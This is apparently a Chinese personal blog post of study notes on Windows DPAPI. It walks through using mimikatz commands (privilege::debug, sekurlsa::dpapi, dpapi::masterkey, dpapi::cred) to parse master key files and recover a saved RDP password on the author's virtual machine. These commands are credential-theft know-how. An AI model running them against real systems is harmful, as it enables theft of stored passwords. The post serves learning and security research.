DPAPI学习记录

  1. 什么是DPAPI
  2. Master Key Files
  3. 破解rdp密码
  4. 参考资料

什么是DPAPI

DPAPI(Data Protection Application Programming Interface)是Microsoft为了数据保护提供的一个接口。

应用范围:

  • IE、Chrome的登录表单自动完成
  • Powershell加密函数
  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
  • FTP管理账户密码
  • 共享资源文件夹的访问密码
  • 无线网络帐户密钥和密码
  • 远程桌面身份凭证

Master Key Files

位置:%APPDATA%/Microsoft/Protect/%SID%
这里我的虚拟机中的masterkeyfile name为:

1
2
88536919-3ca5-4e31-a0ac-1ccf6eb94dda
a94e3c00-08e5-4272-8648-f7a796159916

由于该文件为受保护的,所以我们要勾选掉 隐藏受保护的操作系统文件

master key file为二进制文件,可以获取文件中的Masterkey破解登陆密码,包含以下五个部分:

1
2
3
4
5
Header and system information
User’s Master Key
Local backup encryption key
Unique CREDHIST file identifier
Domain Master Key backup

利用mimikatz对MasterKeyFile进行解析,这里只是解析格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mimikatz(commandline) # dpapi::masterkey /in:C:\Users\xxxx\AppData\Roaming\Microsoft\Protect\S-1-5-21-3716468413-4174316740-3893867168-1001\88536919-3ca5-4e31-a0ac-1ccf6eb94dda
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {88536919-3ca5-4e31-a0ac-1ccf6eb94dda}
dwFlags : 00000005 - 5
dwMasterKeyLen : 000000b0 - 176
dwBackupKeyLen : 00000090 - 144
dwCredHistLen : 00000014 - 20
dwDomainKeyLen : 00000000 - 0
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 824e5853fe8cc89a609ea3d6fdf63b49
rounds : 000043f8 - 17400
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : b1509914bf8fafaf32f0686555097ad5f6241061f2857972710a788b3c4dcce9733d7ae5fd45b7c3483a07321e6c0fb047cb06389b0567b6964c7382255d25c1a316a75c6839d7a516540a10c49941b02e3b7d08bcbca8c6ed4362469b9eafbbecca62ac20a03aa9ae739e23d67f2446a77b63b00166c2616ac31de9b59327afa6975f440bb735a95427413c1a209036

[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : b9eba682e6a10a6eabe2a671f2a5f970
rounds : 000043f8 - 17400
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : 07f73eaad338c8f205525bcd76883a9280e646b79fd93fef9b162aaeea97241a03dc6aa5b9f64734d20ad78b6f6d9d4c8aa79a8d03155116c61e5e514e5ed570847f81a2ca904085672de962c687614e72dc9cd62a5c5f2ac89e1643bf3b9612218a4bbe8bfe22304389f6fa155a9790

[credhist]
**CREDHIST INFO**
dwVersion : 00000003 - 3
guid : {bc99ef8c-8b47-4d3c-a316-2daba229d091}


Auto SID from path seems to be: S-1-5-21-3716468413-4174316740-3893867168-1001

破解rdp密码

首先查看保存的rdp凭据:

1
cmdkey /line

windows保存rdp凭据的位置:

1
C:\Users\用户名\AppData\Local\Microsoft\Credentials

我们可以查看该目录下的文件有啥:

1
2
3
4
5
6
7
8
9
10
11
C:\Users\xxx>dir /a C:\Users\xxxx\AppData\Local\Microsoft\Credentials\*
驱动器 C 中的卷没有标签。
卷的序列号是 EA04-9FD7

C:\Users\xxx\AppData\Local\Microsoft\Credentials 的目录

2020/06/29 11:04 <DIR> .
2020/06/29 11:04 <DIR> ..
2020/06/29 11:04 434 0584A81C75E5FE36C40B464C8CFBCD0F
1 个文件 434 字节
2 个目录 38,597,902,336 可用字节

用管理员权限打开mimikatz,先提个权限:

1
privilege::debug

解析rdp凭证文件:

1
dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\0584A81C75E5FE36C40B464C8CFBCD0F

获取到guidMasterKey,这里的gmk其实就是我们的master key file名称,位置就在%APPDATA%/Microsoft/Protect/%SID%

其实这里可以直接用mimikatz读取所有masterkeyfile对应的masterkey,使用命令:

1
sekurlsa::dpapi


这里其实mimikatz已经将masterkey放入缓存中,下次我们读取cred文件的时候mimikatz会直接利用masterkey进行解密。

我们再运行命令

1
dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\0584A81C75E5FE36C40B464C8CFBCD0F

结果如下,成功读取远程密码:

查看dpapi缓存:

1
dpapi::cache

参考资料

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8Masterkey%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/

https://xz.aliyun.com/t/6508

https://mp.weixin.qq.com/s?__biz=MzU0MjUxNjgyOQ==&mid=2247484902&idx=1&sn=34368d206718cb54c25b313269e2aad1&chksm=fb1836d4cc6fbfc2b7a7e58f56165bee8d32acf1b4401db97871ecca6b9d553defc9a2aa8d90&mpshare=1&scene=1&srcid=&sharer_sharetime=1592704653330&sharer_shareid=77d7080072e01bc1b7467c4c6be5286c&key=a400e754e637d7415ea75085024d4d38cf9dbbc9afdc43acf760292d0b8f00b2cf04e6c13a4c4026323f5be1b4ef454b37f2f7306c95be2be60c4b53e04c88e881748c5c6edef709b9fa51235514ab79&ascene=1&uin=MjYzNzcxNDgzMw%3D%3D&devicetype=Windows+10+x64&version=62090070&lang=zh_CN&exportkey=A2tUlfv5mKxyCotw15u%2BvFM%3D&pass_ticket=ckOSR7XKlwU3rEqxX2SpxqCdFprRDHd9WP%2FItnFo%2F%2FQWwsYS36JtDqzeqMJxpCHX


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:DPAPI学习记录

本文作者:sher10ck

发布时间:2020-06-24, 16:14:28

最后更新:2020-12-29, 09:46:25

原始链接:http://sherlocz.github.io/2020/06/24/DPAPI学习记录/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录